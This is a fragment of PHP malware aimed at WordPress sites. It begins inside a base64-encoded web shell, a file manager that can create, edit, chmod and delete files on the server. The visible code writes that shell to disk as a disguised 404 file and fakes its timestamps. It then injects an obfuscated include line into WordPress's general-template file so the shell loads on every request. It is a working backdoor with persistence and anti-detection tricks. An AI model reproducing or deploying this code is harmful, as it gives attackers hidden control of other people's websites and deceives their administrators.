gJG5ldyA9ICRoYWFhLicvJy5odG1sc3BlY2lhbGNoYXJzKCRoZWVlKTsKICAgICAgICAgICAgICAgIGlmKCFta2RpcigkbmV3KSl7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+5paw5bu655uu5b2V5aSx6LSlITwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlrDlu7rnm67lvZXmiJDlip8hID46KTwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9Ci8vRGVsZXRlIGZpbGUKICAgICAgICAgICAgZWxzZWlmKCRfR0VUWyd0eXBlJ10gPT0gJ2ZpbGUnKXsKCiAgICAgICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107CiAgICAgICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107CiAgICAgICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7CgogICAgICAgICAgICAgICAgaWYodW5saW5rKCRwYXRjKSl7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlofku7bliKDpmaTmiJDlip88L2ZvbnQ+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWh+S7tuWIoOmZpOWksei0pTwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGVjaG8gJzwvY2VudGVyPic7CiAgICAgICAgJHNjYW5kaXIgPSBzY2FuZGlyKCRwYXRoKTsKICAgICAgICAkcGEgPSBnZXRjd2QoKTsKICAgICAgICBlY2hvICcgPGRpdiBpZD0iY29udGVudCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBjbGFzcz0idGFibGVfaG9tZSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjEiIGFsaWduPSJjZW50ZXIiPgogCjx0cj4KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7Y29sb3I6I2ZmZjsiPjxjZW50ZXI+5ZCN56ewPC9jZW50ZXI+PC90aD4KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7Y29sb3I6I2ZmZjsiID48Y2VudGVyPuWkp+WwjzwvY2VudGVyPjwvdGg+Cjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7IiA+PGNlbnRlcj7mnYPpmZA8L2NlbnRlcj48L3RoPgo8dGggY2xhc3M9dGhfaG9tZSBzdHlsZT0iYmFja2dyb3VuZDpibGFjaztjb2xvcjojZmZmOyIgPjxjZW50ZXI+5pON5L2c6YCJ6aG5PC9jZW50ZXI+PC90aD4KPC90cj4KCgogPHRyPgo8dGQgY2xhc3M9InRkX2hvbWUiIGFsaWduPSJjZW50ZXIiPgo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuZGlybmFtZSgkcGF0aCkuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5LiK5LiA6aG1Ij7kuIrkuIDpobU8L2E+CjwvdGQ+PHRkIGNsYXNzPXRkX2hvbWUgYWxpZ249Y2VudGVyPlNpemU8L3RkPiA8dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+Q2htb2Q8L3RkPiA8dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+IDxhIGhyZWY9Ij9vcHRpb24mQVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJHBhdGguJyZvcHQ9YmFydSZuYW1lPW5ldy5waHAiPisg5paw5bu65paH5Lu2PC9hPiB8IDxhIGhyZWY9Ij9vcHRpb24mQVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJHBhdGguJyZvcHQ9YnR3JnR5cGU9ZGlyIj4rIOaWsOW7uuebruW9lTwvYT4gPC90ZD48L3RyPgonOwoKICAgICAgICBmb3JlYWNoKCRzY2FuZGlyIGFzICRkaXIpewogICAgICAgICAgICBpZighaXNfZGlyKCIkcGF0aC8kZGlyIikgfHwgJGRpciA9PSAnLicgfHwgJGRpciA9PSAnLi4nKSBjb250aW51ZTsKICAgICAgICAgICAgZWNobyAiCjx0cj4KPHRkIGNsYXNzPXRkX2hvbWU+IDxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsUjBsR09EbGhFd0FRQUxNQUFBQUFBUC8vLzV5Y0FNN09ZLy8vblAvL3p2L09uUGYzOS8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuIkFBQUFBQ0g1QkFFQUFBZ0FMQUFBQUFBVEFCQUFBQVJSRU1sSnE3MDQ2eXA2QnhzaUhFVkJFQUtZQ1VQckRwN0hsWFJkRW9NcUNlYnAiLiIvNFljaGZmekdRaEg0WVJZUEIyRE9sSFBpS3dxZDFQcTh5clZWZzNRWWVINVJZSzVySmZhRlVVQTN2QjRmQklCQURzPSc+IDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aC8kZGlyXCI+JGRpcjwvYT48L3RkPgo8dGQgY2xhc3M9dGRfaG9tZSA+PGNlbnRlcj5ESVI8L2NlbnRlcj48L3RkPgo8dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+CjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PWNobW9kJnR5cGU9ZGlyJm5hbWU9JGRpclwiIHRpdGxlPSfmnYPpmZDorr7nva4nPgoiOwogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPic7CiAgICAgICAgICAgIGVsc2VpZighaXNfcmVhZGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+JzsKICAgICAgICAgICAgZWNobyBqdWVqaWFuZ19wZXJtcygiJHBhdGgvJGRpciIpOwogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGRpciIpIHx8ICFpc19yZWFkYWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8L2ZvbnQ+JzsKCiAgICAgICAgICAgIGVjaG8gIgo8L2E+CjwvdGQ+CgoKPHRkIGNsYXNzPXRkX2hvbWUgPjxjZW50ZXI+CjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PXJlbmFtZSZ0eXBlPWRpciZuYW1lPSRkaXJcIj7ph43lkb3lkI08L2E+CjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWRpciZuYW1lPXskZGlyfSdcIj7liKDpmaQ8L2E+CjwvY2VudGVyPjwvdGQ+CjwvdHI+IjsKICAgICAgICB9CiAgICAgICAgZWNobyAnPGJyPic7CiAgICAgICAgZm9yZWFjaCgkc2NhbmRpciBhcyAkZmlsZSl7CiAgICAgICAgICAgIGlmKCFpc19maWxlKCIkcGF0aC8kZmlsZSIpKSBjb250aW51ZTsKICAgICAgICAgICAgJHNpemUgPSBmaWxlc2l6ZSgiJHBhdGgvJGZpbGUiKS8xMDI0OwogICAgICAgICAgICAkc2l6ZSA9IHJvdW5kKCRzaXplLDMpOwogICAgICAgICAgICBpZigkc2l6ZSA+PSAxMDI0KXsKICAgICAgICAgICAgICAgICRzaXplID0gcm91bmQoJHNpemUvMTAyNCwyKS4nIE1CJzsKICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAkc2l6ZSA9ICRzaXplLicgS0InOwogICAgICAgICAgICB9CgoKICAgICAgICAgICAgZWNobyAiPHRyPgo8dGQgY2xhc3M9dGRfaG9tZSA+IDxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUF3QUFBQVFDQVlBQUFBaVlaNEhBQUFBQ1hCSVdYTUFBQXNUQUFBTEV3RUFtcHdZQUFBS1RXbERRMUJRYUc5MGIzTm9iM0FnU1VORElIQnliMlpwYkdVQUFIamFuVk4zV0pQM0ZqN2Y5MlVQVmtMWThMR1hiSUVBSWlPc0NNZ1FXYUlRa2dCaGhCQVNRTVdGaUFwV0ZCVVJuRWhWeElMVkNraWRpT0tnS0xoblFZcUlXb3RWWERqdUg5eW50WDE2NyszdCs5Zjd2T2VjNS96T2VjOFBnQkVTSnBIbW9tb0FPVktGUERyWUg0OVBTTVRKdllBQ0ZVamdCQ0FRNXN2Q1p3WEZBQUR3QTNsNGZuU3dQL3dCcjI4QUFnQncxUzRrRXNmaC80TzZVQ1pYQUNDUkFPQWlFdWNMQVpCU0FNZ3VWTWdVQU1nWUFMQlRzMlFLQUpRQUFHeDVmRUlpQUtvTkFPejBTVDRGQU5pcGs5d1hBTmlpSEtrSUFJMEJBSmtvUnlRQ1FMc0FZRldCVWl3Q3dNSUFvS3hBSWk0RXdLNEJnRm0yTWtjQ2dMMEZBSGFPV0pBUFFHQUFnSmxDTE13QUlEZ0NBRU1lRTgwRElFd0RvRERTditDcFgzQ0Z1RWdCQU1ETGxjMlhTOUl6RkxpVjBCcDM4dkRnNGlIaXdteXhRbUVYS1JCbUNlUWluSmViSXhOSTV3Tk16Z3dBQUJyNTBjSCtPRCtRNStiazRlWm01Mnp2OU1XaS9tdndieUkrSWZIZi9yeU1BZ1FBRUU3UDc5cGY1ZVhXQTNESEFiQjF2MnVwV3dEYVZnQm8zL2xkTTlzSm9Gb0swSHI1aTNrNC9FQWVucUZReUR3ZEhBb0xDKzBsWXFHOU1PT0xQdjh6NFcvZ2kzNzIvRUFlL3R0NjhBQnhta0NacmNDamcvMXhZVzUycmxLTzU4c0VRakZ1OStjai9zZUZmLzJPS2RIaU5MRmNMQldLOFZpSnVGQWlUY2Q1dVZLUlJDSEpsZUlTNlg4eThSK1cvUW1UZHcwQXJJWlB3RTYyQjdYTGJNQis3Z0VDaXc1WTBuWUFRSDd6TFl3YUM1RUFFR2MwTW5uM0FBQ1R2L21QUUNzQkFNMlhwT01BQUx6b0dGeW9sQmRNeGdnQUFFU2dnU3F3UVFjTXdSU3N3QTZjd1IyOHdCY0NZUVpFUUF3a3dEd1FRZ2JrZ0J3S29SaVdRUmxVd0RyWUJMV3dBeHFnRVpyaEVMVEJNVGdONStBU1hJSHJjQmNHWUJpZXdoaThoZ2tFUWNnSUUyRWhPb2dSWW83WUlzNElGNW1PQkNKaFNEU1NnS1FnNllnVVVTTEZ5SEtrQXFsQ2FwRmRTQ1B5TFhJVU9ZMWNRUHFRMjhnZ01vcjhpcnhITVpTQnNsRUQxQUoxUUxtb0h4cUt4cUJ6MFhRMEQxMkFscUpyMFJxMEhqMkF0cUtuMFV2b2RYUUFmWXFPWTREUk1RNW1qTmxoWEl5SFJXQ0pXQm9teHhaajVWZzFWbzgxWXgxWU4zWVZHOENlWWU4SUpBS0xnQlBzQ0Y2RUVNSnNncENRUjFoTVdFT29KZXdqdEJLNkNGY0pnNFF4d2ljaWs2aFB0Q1Y2RXZuRWVHSTZzWkJZUnF3bTdpRWVJWjRsWGljT0UxK1RTQ1FPeVpMa1Rnb2hKWkF5U1F0SmEwamJTQzJrVTZRKzBoQnBuRXdtNjVCdHlkN2tDTEtBckNDWGtiZVFENUJQa3Z2SncrUzNGRHJGaU9KTUNhSWtVcVNVRWtvMVpUL2xCS1dmTWtLWm9LcFJ6YW1lMUFpcWlEcWZXa2x0b0haUUwxT0hxUk0wZFpvbHpac1dROHVrTGFQVjBKcHBaMm4zYUMvcGRMb0ozWU1lUlpmUWw5SnI2QWZwNSttRDlIY01EWVlOZzhkSVlpZ1pheGw3R2FjWXR4a3ZtVXltQmRPWG1jaFVNTmN5RzVsbm1BK1liMVZZS3ZZcWZCV1J5aEtWT3BWV2xYNlY1NnBVVlhOVlA5VjVxZ3RVcTFVUHExNVdmYVpHVmJOUTQ2a0oxQmFyMWFrZFZidXBOcTdPVW5kU2oxRFBVVitqdmwvOWd2cGpEYktHaFVhZ2hraWpWR08zeGhtTklSYkdNbVh4V0VMV2NsWUQ2eXhybUUxaVc3TDU3RXgyQmZzYmRpOTdURk5EYzZwbXJHYVJacDNtY2MwQkRzYXg0UEE1Mlp4S3ppSE9EYzU3TFFNdFB5MngxbXF0WnExK3JUZmFldHErMm1MdGN1MFc3ZXZhNzNWd25VQ2RMSjMxT20wNjkzVUp1amE2VWJxRnV0dDF6K28rMDJQcmVla0o5Y3IxRHVuZDBVZjFiZlNqOVJmcTc5YnYwUjgzTURRSU5wQVpiREU0WS9ETWtHUG9hNWhwdU5Id2hPR29FY3RvdXBIRWFLUFJTYU1udUNidWgyZmpOWGdYUG1hc2J4eGlyRFRlWmR4clBHRmlhVExicE1Ta3hlUytLYzJVYTVwbXV0RzAwM1RNek1nczNLellyTW5zampuVm5HdWVZYjdadk52OGpZV2xSWnpGU29zMmk4ZVcycFo4eXdXV1RaYjNySmhXUGxaNVZ2VlcxNnhKMWx6ckxPdHQxbGRzVUJ0WG13eWJPcHZMdHFpdG02M0VkcHR0M3hUaUZJOHAwaW4xVTI3YU1lejg3QXJzbXV3RzdUbjJZZllsOW0zMnp4M01IQklkMWp0ME8zeHlkSFhNZG14d3ZPdWs0VFREcWNTcHcrbFhaeHRub1hPZDh6VVhwa3VReXhLWGRwY1hVMjJuaXFkdW4zckxsZVVhN3JyU3RkUDFvNXU3bTl5dDJXM1UzY3c5eFgyciswMHVteHZKWGNNOTcwSDA4UGRZNG5ITTQ1Mm5tNmZDODVEbkwxNTJYbGxlKzcwZVQ3T2NKcDdXTUczSTI4UmI0TDNMZTJBNlBqMWwrczdwQXo3R1BnS2ZlcCtIdnFhK0l0ODl2aU4rMW42WmZnZjhudnM3K3N2OWovaS80WG55RnZGT0JXQUJ3UUhsQWIyQkdvR3pBMnNESHdTWkJLVUhOUVdOQmJzR0x3dytGVUlNQ1ExWkgzS1RiOEFYOGh2NVl6UGNaeXlhMFJYS0NKMFZXaHY2TU13bVRCN1dFWTZHendqZkVINXZwdmxNNmN5MkNJamdSMnlJdUI5cEdaa1grWDBVS1NveXFpN3FVYlJUZEhGMDl5eldyT1JaKzJlOWp2R1BxWXk1Tzl0cXRuSjJaNnhxYkZKc1kreWJ1SUM0cXJpQmVJZjRSZkdYRW5RVEpBbnRpZVRFMk1ROWllTnpBdWRzbWpPYzVKcFVsblJqcnVYY29ya1g1dW5PeTU1M1BGazFXWkI4T0lXWUVwZXlQK1dESUVKUUx4aFA1YWR1VFIwVDhvU2JoVTlGdnFLTm9sR3h0N2hLUEpMbW5WYVY5ampkTzMxRCttaUdUMFoxeGpNSlQxSXJlWkVaa3JrajgwMVdSTmJlck0vWmNka3RPWlNjbEp5alVnMXBsclFyMXpDM0tMZFBaaXNya3cza2VlWnR5aHVUaDhyMzVDUDVjL1BiRld5RlROR2p0Rkt1VUE0V1RDK29LM2hiR0Z0NHVFaTlTRnJVTTk5bS91cjVJd3VDRm55OWtMQlF1TEN6MkxoNFdmSGdJcjlGdXhZamkxTVhkeTR4WFZLNlpIaHA4Tko5eTJqTHNwYjlVT0pZVWxYeWFubmM4bzVTZzlLbHBVTXJnbGMwbGFtVXljdHVydlJhdVdNVllaVmtWZTlxbDlWYlZuOHFGNVZmckhDc3FLNzRzRWE0NXVKWFRsL1ZmUFY1YmRyYTNrcTN5dTNyU091azYyNnM5MW0vcjBxOWFrSFYwSWJ3RGEwYjhZM2xHMTl0U3Q1MG9YcHE5WTdOdE0zS3pRTTFZVFh0Vzh5MnJOdnlvVGFqOW5xZGYxM0xWdjJ0cTdlKzJTYmExci9kZDN2ekRvTWRGVHZlNzVUc3ZMVXJlRmRydlVWOTlXN1M3b0xkanhwaUc3cS81bjdkdUVkM1Q4V2VqM3VsZXdmMlJlL3JhblJ2Yk55dnY3K3lDVzFTTm8wZVNEcHc1WnVBYjlxYjdacDN0WEJhS2c3Q1FlWEJKOSttZkh2alVPaWh6c1BjdzgzZm1YKzM5UWpyU0hrcjBqcS9kYXd0bzIyZ1BhRzk3K2lNbzUwZFhoMUh2cmYvZnU4eDQyTjF4eldQVjU2Z25TZzk4Zm5rZ3BQanAyU25ucDFPUHozVW1keDU5MHo4bVd0ZFVWMjlaMFBQbmo4WGRPNU10MS8zeWZQZTU0OWQ4THh3OUNMM1l0c2x0MHV0UGE0OVIzNXcvZUZJcjF0djYyWDN5KzFYUEs1MDlFM3JPOUh2MDMvNmFzRFZjOWY0MXk1ZG4zbTk3OGJzRzdkdUp0MGN1Q1c2OWZoMjl1MFhkd3J1VE54ZGVvOTRyL3krMnYzcUIvb1A2biswL3JGbHdHM2crR0RBWU0vRFdRL3ZEZ21IbnY2VS85T0g0ZEpIekVmVkkwWWpqWStkSHg4YkRScTk4bVRPaytHbnNxY1R6OHArVnY5NTYzT3I1OS85NHZ0THoxajgyUEFMK1l2UHY2NTVxZk55NzZ1cHJ6ckhJOGNmdk01NVBmR20vSzNPMjMzdnVPKzYzOGU5SDVrby9FRCtVUFBSK21QSHA5QlA5ejduZlA3OEwvZUU4L3NsMHA4ekFBQUFJR05JVWswQUFIb2xBQUNBZ3dBQStmOEFBSURwQUFCMU1BQUE2bUFBQURxWUFBQVhiNUpmeFVZQUFBRzRTVVJCVkhqYWZKTFBhaE5SRk1aLzk5eVphYkJ4Q05OS2l5Z294R0NnbEJaY3VDZ0k5ZzJLTDFOQ3dTNUtYOEFuVUxvU3VuUFZyZHZHZ0J1cEVWMjRFV1FDTThuTTVNKzkxOFZNUnVPaTMrckNQZC81ZmVmY3ExNzFYanUwNVRiWnVlSHkvRXdCZUdqTDI1TVQ1c2F3TUlhSlhUVi9HZ3g0ZDNYRjBYSFBYWjZmS1FHdzFySXdocGt4bU9tVVBNdEl4Mk9TSkdHY3Bydy9QVVY4emRGeHo4azRUZXR1Z2RZMGdvQkFhendSbEFoeEhQUG00b0lYblE2ZkIzMDhBQkhoWTc4UHdOWjZ4SzlKekc2M0M4REx3ME9jdFlSaHlJZnI2OUlBMEc2M2NWWCtKaTBhUVFDekdRQ0xmMmJ5QUxSU0RJZkR1anZBdDZvZzhockVpNEw5dmIzU1VHUVpTb1NublE0TGE3bExWSk9XdWw4VUFCUlpWczNnSEY5dWJ1cUNKV2xyUFNwcGs1aUQ3ZTJLa09jQTdIYTd6SXdwTS85SGF0TEMwNW9pei84Ty9mUHJkOEtXejQvZmFVMEJtRTh6L0xVNzZNM05rakF0Q3JRSUQ1NDhMa24zWUdZTUQ2TUlheTJtb2dKTWkyS1ZBQkMyZlBMYzU5SEdCb2dBWUl4QnFyTzNmT21ENTgvS3l5cTNjUTZ0VkcwQ0dLY3BYaklhcmF4UWkyQ3NMWXNCSllKVENpVkNNaHFobWpzN3p0cmJ2L2RTSXNLZkFRRGZJc0tIdkFaWVpBQUFBQUJKUlU1RXJrSmdnZz09Jz4KCiI7Ci8vIDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mZmlsZXNyYz0kcGF0aC8kZmlsZSZwYXRoPSRwYXRoXCI+JGZpbGU8L2E+CiAgICAgICAgICAgIGVjaG8gIgo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWVkaXQmdHlwZT1maWxlJm5hbWU9eyRmaWxlfVwiPnskZmlsZX08L2E+CjwvdGQ+Cjx0ZCBjbGFzcz10ZF9ob21lPjxjZW50ZXI+Ii4kc2l6ZS4iPC9jZW50ZXI+PC90ZD4KPHRkIGNsYXNzPXRkX2hvbWUgYWxpZ249J2NlbnRlcic+PGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9Y2htb2QmdHlwZT1maWxlJm5hbWU9JGZpbGVcIiB0aXRsZT0n5p2D6ZmQ6K6+572uJz4iOwoKCgogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOwogICAgICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOwogICAgICAgICAgICBlY2hvIGp1ZWppYW5nX3Blcm1zKCIkcGF0aC8kZmlsZSIpOwogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzwvZm9udD4nOwogICAgICAgICAgICBlY2hvICI8L2E+PC90ZD4KPHRkIGNsYXNzPXRkX2hvbWU+PGNlbnRlcj4KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9ZWRpdCZ0eXBlPWZpbGUmbmFtZT0kZmlsZVwiPue8lui+kTwvYT4KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZmlsZSZuYW1lPSRmaWxlJnBhdGg9JHBhdGhcIj7ph43lkb3lkI08L2E+CjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWZpbGUmbmFtZT17JGZpbGV9J1wiPuWIoOmZpDwvYT4KPC9jZW50ZXI+PC90ZD4KPC90cj4iOwogICAgICAgIH0KICAgICAgICBlY2hvICc8L3RhYmxlPgo8L2Rpdj4nOwogICAgfQogICAgZWNobyAnPGJyPjxicj48YnI+PGJyPjwvYj4KPC9ib2R5PiA8L2h0bWw+PC9ib2R5Pgo8L2h0bWw+JzsKICAgIGRpZTsKZW5kaWY7ICAvLyA9PT09CgoKCgoKCg=="; // WP 404
@chmod($jue_jiang_404_path, 0644);
@file_put_contents($jue_jiang_404_path, base64_decode($jue_jiang_404));
@touch($jue_jiang_404_path, filectime($file_general_template_path));
@chmod($jue_jiang_404_path, 0444);
}
$general_template_code = @file_get_contents($file_general_template_path);
$gen_mat = base64_decode("QGluY2x1ZGVbXHNdK2Jhc2U2NF9kZWNvZGVbXHNdKj9cKCJbMC05YS16QS1aLT0rXC9dKyJcKTs=");
$isget_mat = preg_match("/{$gen_mat}/i",$general_template_code)?true:false;
if (!$isget_mat){
$pma = base64_decode("ZnVuY3Rpb25bXHNdW2EtekEtWjAtOV9dKlwoLio/XCkuKg==");
preg_match_all("/{$pma}/i",$general_template_code,$pr);
$gen_temp_fun_name = $pr[0][rand(0,count($pr[0])-1)];
$jj404_b64_path = base64_encode($jue_jiang_404_path);
$new_general_template = str_replace($gen_temp_fun_name,"@include base64_decode(\"{$jj404_b64_path}\");".PHP_EOL.$gen_temp_fun_name,$general_template_code);
@chmod($file_general_template_path, 0644);
@file_put_contents($file_general_template_path,$new_general_template);
@touch($file_general_template_path, filectime($file_general_template_path));
}